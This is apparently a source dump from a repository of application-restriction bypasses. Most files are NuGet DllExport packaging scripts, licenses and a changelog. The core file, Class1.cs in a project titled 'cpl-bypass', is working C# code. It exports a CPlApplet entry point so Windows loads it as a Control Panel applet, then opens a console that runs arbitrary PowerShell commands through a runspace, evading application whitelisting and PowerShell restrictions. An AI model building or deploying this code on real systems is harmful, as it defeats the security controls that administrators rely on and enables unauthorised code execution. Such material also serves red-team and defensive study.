https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | $(PostBuildEventDependsOn); 7 | RGieseckeDllExport 8 | 9 | 10 | 11 | 12 | 13 | $(BuildDependsOn); 14 | RGieseckeDllExport 15 | 16 | 17 | 18 | 20 | 21 | 23 | 24 | 34 | 35 | 36 | 37 | RGiesecke.DllExport.DllExportAttribute 38 | RGiesecke.DllExport.Metadata 39 | 40 | $(Platform) 41 | $(PlatformTarget) 42 | $(CpuType) 43 | $(DebugSymbols) 44 | false 45 | $(DllExportTimeout) 46 | $(KeyContainerName)$(AssemblyKeyContainerName) 47 | $(KeyOriginatorFile) 48 | $(MSBuildProjectDirectory) 49 | $(TargetPath) 50 | $(TargetedFrameworkDir);$(TargetFrameworkDirectory) 51 | $(DevEnvDir)\..\..\VC\bin 52 | $(DevEnvDir) 53 | $(TargetFrameworkVersion) 54 | $(TargetFrameworkSDKToolsDirectory) 55 | $(NoDllExportsForAnyCpu) 56 | 57 | 58 | 74 | 75 | -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/init.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1) 4 | 5 | if($project) { 6 | Assert-PlatformTargetOfProject $project.FullName 7 | } 8 | else { 9 | Get-AllDllExportMsBuildProjects | % { 10 | Assert-PlatformTargetOfProject $_.FullPath 11 | } 12 | } -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'RGiesecke.DllExport.targets' 4 | $targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName) 5 | $targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute 6 | 7 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 8 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 9 | 10 | if(!$msBuildV4) { 11 | throw New-Object System.IO.FileNotFoundException("Could not load $msBuildV4Name."); 12 | } 13 | 14 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 15 | 16 | # change the reference to RGiesecke.DllExport.Metadata.dll to not be copied locally 17 | 18 | $project.Object.References | ? { 19 | $_.Name -ieq "RGiesecke.DllExport.Metadata" 20 | } | % { 21 | if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){ 22 | $_.CopyLocal = $false 23 | } 24 | } 25 | 26 | $projects = $projectCollection::GlobalProjectCollection.GetLoadedProjects($project.FullName) 27 | $projects | % { 28 | $currentProject = $_ 29 | 30 | # remove imports of RGiesecke.DllExport.targets from this project 31 | $currentProject.Xml.Imports | ? { 32 | return ("RGiesecke.DllExport.targets" -ieq [IO.Path]::GetFileName($_.Project)) 33 | } | % { 34 | $currentProject.Xml.RemoveChild($_); 35 | } 36 | 37 | # remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName 38 | $currentProject.Xml.Properties | ? { 39 | $_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName" 40 | } | % { 41 | $_.Parent.RemoveChild($_) 42 | } 43 | 44 | $projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute 45 | $relativeUrl = $projectUri.MakeRelative($targetUri) 46 | $import = $currentProject.Xml.AddImport($relativeUrl) 47 | $import.Condition = "Exists('$relativeUrl')"; 48 | 49 | # remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it) 50 | Remove-OldDllExportFolder $project 51 | Assert-PlatformTargetOfProject $project.FullName 52 | } -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'RGiesecke.DllExport.targets' 4 | $targetFileName = [System.IO.Path]::Combine($toolsPath, $targetFileName) 5 | $targetUri = New-Object Uri($targetFileName, [UriKind]::Absolute) 6 | 7 | $projects = Get-DllExportMsBuildProjectsByFullName($project.FullName) 8 | 9 | return $projects | % { 10 | $currentProject = $_ 11 | 12 | $currentProject.Xml.Imports | ? { 13 | "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project) 14 | } | % { 15 | $currentProject.Xml.RemoveChild($_) 16 | } 17 | } -------------------------------------------------------------------------------- /Src/Net4.0/cpl/Class1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Collections.ObjectModel; 4 | using System.Management.Automation; 5 | using System.Management.Automation.Runspaces; 6 | using System.Text; 7 | 8 | public class Test 9 | { 10 | 11 | [DllExport("CPlApplet", CallingConvention = CallingConvention.StdCall)] 12 | public static bool CPlApplet() 13 | { 14 | while (true) 15 | { 16 | AllocConsole(); 17 | IntPtr defaultStdout = new IntPtr(7); 18 | IntPtr currentStdout = GetStdHandle(StdOutputHandle); 19 | Console.Write("PS >"); 20 | string x = Console.ReadLine(); 21 | try 22 | { 23 | Console.WriteLine(RunPSCommand(x)); 24 | } 25 | catch (Exception e) 26 | { 27 | Console.WriteLine(e.Message); 28 | } 29 | } 30 | return true; 31 | } 32 | //Based on Jared Atkinson's And Justin Warner's Work 33 | public static string RunPSCommand(string cmd) 34 | { 35 | //Init stuff 36 | Runspace runspace = RunspaceFactory.CreateRunspace(); 37 | runspace.Open(); 38 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 39 | Pipeline pipeline = runspace.CreatePipeline(); 40 | 41 | //Add commands 42 | pipeline.Commands.AddScript(cmd); 43 | 44 | //Prep PS for string output and invoke 45 | pipeline.Commands.Add("Out-String"); 46 | Collection results = pipeline.Invoke(); 47 | runspace.Close(); 48 | 49 | //Convert records to strings 50 | StringBuilder stringBuilder = new StringBuilder(); 51 | foreach (PSObject obj in results) 52 | { 53 | stringBuilder.Append(obj); 54 | } 55 | return stringBuilder.ToString().Trim(); 56 | } 57 | 58 | public static void RunPSFile(string script) 59 | { 60 | PowerShell ps = PowerShell.Create(); 61 | ps.AddScript(script).Invoke(); 62 | } 63 | 64 | private const UInt32 StdOutputHandle = 0xFFFFFFF5; 65 | [DllImport("kernel32.dll")] 66 | private static extern IntPtr GetStdHandle(UInt32 nStdHandle); 67 | [DllImport("kernel32.dll")] 68 | private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle); 69 | [DllImport("kernel32")] 70 | static extern bool AllocConsole(); 71 | 72 | } -------------------------------------------------------------------------------- /Src/Net4.0/cpl/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("cpl-bypass")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("cpl-bypass")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e70f119c-6cb3-45f6-ba19-793c671b677a")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Src/Net4.0/cpl/cpl.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E70F119C-6CB3-45F6-BA19-793C671B677A} 8 | Library 9 | Properties 10 | c 11 | c 12 | v4.5 13 | 512 14 | 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | x64 25 | false 26 | 27 | 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | false 35 | 36 | 37 | 38 | packages\DllExport.1.5.2\lib\net20\DllExport.dll 39 | False 40 | 41 | 42 | 43 | 44 | 45 | False 46 | ..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 65 | -------------------------------------------------------------------------------- /Src/Net4.0/cpl/cpl.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "cpl", "cpl.csproj", "{E70F119C-6CB3-45F6-BA19-793C671B677A}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {E70F119C-6CB3-45F6-BA19-793C671B677A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {E70F119C-6CB3-45F6-BA19-793C671B677A}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {E70F119C-6CB3-45F6-BA19-793C671B677A}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {E70F119C-6CB3-45F6-BA19-793C671B677A}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/3rd-party.txt: -------------------------------------------------------------------------------- 1 | DllExport [ github.com/3F/DllExport ] 2 | - - - - - - - - - - - - - - - - - - - 3 | 4 | # Third-party software components 5 | 6 | ## The DllExport includes: 7 | 8 | * CoreCLR / ILAsm / ILDasm [ github.com/3F/coreclr ] 9 | * Mono.Cecil [ github.com/jbevain/cecil ] 10 | * SDK reference assemblies for PowerShell version 5 [ github.com/PowerShell/ ] 11 | 12 | ## Maintenance of this project also includes: 13 | 14 | * vsSolutionBuildEvent /+ CI.MSBuild [ github.com/3F/vsSolutionBuildEvent ] 15 | * GetNuTool [ github.com/3F/GetNuTool ] 16 | 17 | -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/DllExport.1.5.2.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/DllExport.1.5.2.nupkg -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/License.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2009-2015 Robert Giesecke 4 | Copyright (c) 2016-2017 Denis Kuzmin 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in 14 | all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | THE SOFTWARE. -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/Readme.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/Readme.md -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/changelog.txt: -------------------------------------------------------------------------------- 1 | DllExport - github.com/3F/DllExport 2 | - - - - - - - - - - - - - - - - - - 3 | 4 | [v1.5.2] 2017.03.13 5 | 6 | * FIXED: Failing to compile in VS2017. Issue #29 7 | `Error The "DllExportAppDomainIsolatedTask" task failed unexpectedly. System.ArgumentException: Requested value 'Version46' was not found.` 8 | 9 | * FIXED: Possible error `Could not load file or assembly Microsoft.Build.Utilities or one of its dependencies.` 10 | * CHANGED: Updated script for loading of the Configurator to avoid problem with old assemblies. Issue #22 11 | 12 | [v1.5.1] 2016.11.12 13 | 14 | * FIXED: Error : Invalid Option: /CVRES= Issue #20 15 | * NOTE: Our coreclr version was compiled with MSVC 14.0. Related Issue #21 16 | 17 | [v1.5] 2016.11.04 18 | 19 | * FIXED: Fixed problem with white-space chars in path: `Cannot find path '' because it does not exist ...` 20 | * FIXED: Fixed typo with fullseq (ddNS) - incorrect `0x30 0x30` ~0x007A7-0x007A8 /details in #14 21 | * FIXED: Possible problem with NullReferenceException when removing package. 22 | * FIXED: Fixed problem with old NS data when we try to install package for project A, then for project B 23 | * NEW: Implemented 'Generate .exp + .lib via MS Library Manager' #9 24 | GUI Configurator + MSBuild property: `DllExportGenExpLib` 25 | 26 | * NEW: Added support of unmanaged-export for Executable Modules (.exe) #18 27 | * NEW: Cecil variant for ddNS features /#14, #2 28 | * NEW: Added our custom IL Assembler as option to fix incorrect 0x13 / 0x11 opcodes. #17 29 | GUI Configurator + MSBuild property: `DllExportOurILAsm` 30 | It should help for users of Fody projects, etc. 31 | https://github.com/Fody/Fody/issues/271 32 | 33 | IlAsm 4.5.1 https://github.com/3F/coreclr 34 | based on 4.5.22220.0 / coreclr 1.0.4 35 | changelog of our coreclr for this release: https://github.com/3F/coreclr/blob/master/changelog.txt 36 | 37 | * CHANGED: Updated scripts of installing/removing package for more correct loading of our assemblies. 38 | 39 | [v1.4] 2016.10.05 40 | 41 | * FIXED: Fixed bug - `An item with the same key has already been added`. Issue #10 42 | * FIXED: Bug with Meta library: Incorrect default values. Issue #16 43 | please note, the __cdecl is the default calling convention for our library 44 | as and for C and C++ programs. 45 | 46 | * FIXED?: Probably fixed bug - `Script errors on package install` Issue #6 47 | * FIXED?: Probably fixed bug - `non-English system language - syntax error` Issue #7 48 | * NEW: GUI Configurator with updated ddNS features. 49 | * NEW: Implemented feature 'Export for platform': [ x86 / x64 / x86 + x64 ] Issue #9 50 | * NEW: Implemented feature 'Base for ordinals'. Issue #11 51 | There is also alternative to configure this number - MSBuild property: DllExportOrdinalsBase 52 | 53 | * NEW: The one (1) now is used by default as Base for all ordinals. 54 | `Mimic ordinal counter (start from 1 instead of 0)` Issue #8 55 | 56 | * CHANGED: The ddNS features now as binary cmdlet `NSBin`. Use `nsbin.bat` if needed. 57 | * CHANGED: `Set "Inherited = false" in AttributeUsage for DllExportAttribute`. Issue #15 58 | * OTHER: other possible changes and fixes. 59 | 60 | [v1.3] 2016.08.21 61 | 62 | * FIXED: bug 'Incorrect library' when DllExport installed for 2+ projects. 63 | * CHANGED: DllExport now uses `Cdecl` calling convention by default. 64 | * CHANGED: Mono.Cecil v0.9.6.4 65 | 66 | [v1.2] 2016.07.13 67 | 68 | * CHANGED: dynamic definition of namespace for user scope. Issue #2 69 | 70 | [v1.1] 2016.06.29 71 | 72 | * CHANGED: DllExport now is part of System.Runtime.InteropServices as and DllImport. 73 | * CHANGED: Mono.Cecil v0.9.6.1 74 | * NEW: 0x80070005 meaning... Issue #1 75 | * NEW: +DllExport(CallingConvention convention) signature 76 | 77 | [v1.0] 2016.06.25 78 | 79 | * Initial the open release, based on v1.2.7.38850 80 | 81 | -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/lib/net20/DllExport.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/lib/net20/DllExport.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/lib/net20/DllExport.dll.ddNSi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/lib/net20/DllExport.dll.ddNSi -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/lib/net20/DllExport.dll.raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/lib/net20/DllExport.dll.raw -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/DllExportCmdLets.psm1: -------------------------------------------------------------------------------- 1 | function Remove-OldDllExportFolder { 2 | param($project) 3 | $defaultFiles = ('DllExportAttribute.cs', 4 | 'Mono.Cecil.dll', 5 | 'RGiesecke.DllExport.dll', 6 | 'RGiesecke.DllExport.pdb', 7 | 'RGiesecke.DllExport.MSBuild.dll', 8 | 'RGiesecke.DllExport.MSBuild.pdb', 9 | 'net.r_eg.DllExport.targets') 10 | 11 | $projectFile = New-Object 'System.IO.FileInfo'($project.FullName) 12 | 13 | $projectFile.Directory.GetDirectories("DllExport") | Select-Object -First 1 | % { 14 | $dllExportDir = $_ 15 | 16 | if($dllExportDir.GetDirectories().Count -eq 0){ 17 | $unknownFiles = $dllExportDir.GetFiles() | Select -ExpandProperty Name | ? { -not $defaultFiles -contains $_ } 18 | 19 | if(-not $unknownFiles){ 20 | Write-Host "Removing 'DllExport' from " $project.Name 21 | $project.ProjectItems | ? { $_.Name -ieq 'DllExport' } | % { 22 | $_.Remove() 23 | } 24 | 25 | Write-Host "Deleting " $dllExportDir.FullName " ..." 26 | $dllExportDir.Delete($true) 27 | } 28 | } 29 | } 30 | } 31 | 32 | function Remove-OldDllExportFolders { 33 | Get-Project -all | % { 34 | Remove-OldDllExportFolder $_ 35 | } 36 | } 37 | 38 | function Get-MBEGlobalProjectCollection { 39 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 40 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 41 | 42 | if(!$msBuildV4) { 43 | throw New-Object 'System.IO.FileNotFoundException'("Could not load $msBuildV4Name.") 44 | } 45 | 46 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 47 | 48 | return $projectCollection::GlobalProjectCollection 49 | } 50 | 51 | function Get-DllExportMsBuildProjectsByFullName([String] $fullName) { 52 | $gpc = Get-MBEGlobalProjectCollection 53 | 54 | return $gpc.GetLoadedProjects($fullName) 55 | } 56 | 57 | function Get-TempPathToDllTools([String] $toolsPath) { 58 | 59 | $tempRoot = (Join-Path $([System.IO.Path]::GetTempPath()) '50ACAD2A-5AB3-4E6A-BA66-07F55672E91F') -replace ' ', '` ' 60 | $tempFolder = $([System.Guid]::NewGuid()); 61 | $delprefix = '__del__'; 62 | 63 | # rename for checking of lock / loaded assemblies 64 | Get-ChildItem -Recurse -Path $tempRoot | ?{ $_.PSIsContainer } | %{ 65 | Rename-Item -ErrorAction SilentlyContinue -Path $_.FullName -NewName "$delprefix$($_.Name)" 66 | } 67 | 68 | # now try to delete only this 69 | Get-ChildItem -Recurse -Path $tempRoot | ?{ $_.PSIsContainer -and $_.Name.StartsWith($delprefix) } | %{ 70 | Remove-Item $_.FullName -Force -Recurse -ErrorAction SilentlyContinue 71 | } 72 | 73 | $tdll = (Join-Path $tempRoot $tempFolder); 74 | if(!(Test-Path -path $tdll)) { 75 | New-Item $tdll -Type Directory >$null 76 | } 77 | Copy-Item $toolsPath\*.dll -Destination $tdll >$null 78 | 79 | return $tdll 80 | } 81 | 82 | function Get-TempPathToConfiguratorIfNotLoaded([String] $asmFile, [String] $toolsPath) { 83 | 84 | $tdll = Get-TempPathToDllTools $toolsPath 85 | $mdll = (Join-Path $tdll $asmFile) 86 | 87 | if(!(Get-Module -Name $asmFile)) { 88 | # Import-Module $mdll; 89 | return $mdll 90 | } 91 | return $null 92 | } 93 | 94 | # solution from here: https://github.com/3F/vsSolutionBuildEvent/blob/master/vsSolutionBuildEvent/Actions/ActionCSharp.cs 95 | # we can use it from 'init.ps1' for loading only once, or from 'install.ps1' / 'uninstall.ps1' to use always latest assemblies 96 | function Load-Configurator([String] $toolsPath) { 97 | 98 | Get-Module -All | ?{ $_.Name -like '*net.r_eg.DllExport.Configurator*' } | % { Remove-Module $_ } 99 | 100 | $nsbin = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\NSBin.dll")); 101 | $conf = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\net.r_eg.DllExport.Configurator.dll")); 102 | 103 | return $conf; 104 | } 105 | 106 | function Get-AllDllExportMsBuildProjects { 107 | (Get-Project -all | % { 108 | Get-DllExportMsBuildProjectsByFullName $_.FullName 109 | }) | ? { 110 | return ($_.Xml.Imports | ? { 111 | "net.r_eg.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project); 112 | }).Length -gt 0; 113 | } 114 | } 115 | 116 | function Set-NoDllExportsForAnyCpu([String] $projectName, [System.Nullable[bool]] $value) { 117 | $projects = Get-AllDllExportMsBuildProjects; 118 | 119 | [String] $asString = $value; 120 | 121 | if($projectName) { 122 | $projects = $projects | where { $_.Name -ieq $projectName }; 123 | } 124 | $propertyName = 'NoDllExportsForAnyCpu'; 125 | 126 | $projects = $projects | where { 127 | $_.GetPropertyValue($propertyName) -ine $asString 128 | } | % { 129 | $_.SetProperty($propertyName, $asString); 130 | } 131 | } 132 | 133 | Export-ModuleMember Set-NoDllExportsForAnyCpu 134 | Export-ModuleMember Get-MBEGlobalProjectCollection 135 | Export-ModuleMember Get-TempPathToDllTools 136 | Export-ModuleMember Get-TempPathToConfiguratorIfNotLoaded 137 | Export-ModuleMember Load-Configurator 138 | Export-ModuleMember Remove-OldDllExportFolder 139 | Export-ModuleMember Remove-OldDllExportFolders 140 | Export-ModuleMember Get-DllExportMsBuildProjectsByFullName 141 | Export-ModuleMember Get-AllDllExportMsBuildProjects -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/Microsoft.Build.Framework.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/Microsoft.Build.Framework.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/Microsoft.Build.Utilities.v4.0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/Microsoft.Build.Utilities.v4.0.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/Microsoft.Management.Infrastructure.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/Microsoft.Management.Infrastructure.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/Mono.Cecil.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/NSBin.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/NSBin.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/NSBin.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/NSBin.pdb -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.pdb -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.pdb -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/System.Management.Automation.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/LICENSE.TXT: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) .NET Foundation and Contributors 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/PATENTS.TXT: -------------------------------------------------------------------------------- 1 | Microsoft Patent Promise for .NET Libraries and Runtime Components 2 | 3 | Microsoft Corporation and its affiliates ("Microsoft") promise not to assert 4 | any .NET Patents against you for making, using, selling, offering for sale, 5 | importing, or distributing Covered Code, as part of either a .NET Runtime or 6 | as part of any application designed to run on a .NET Runtime. 7 | 8 | If you file, maintain, or voluntarily participate in any claim in a 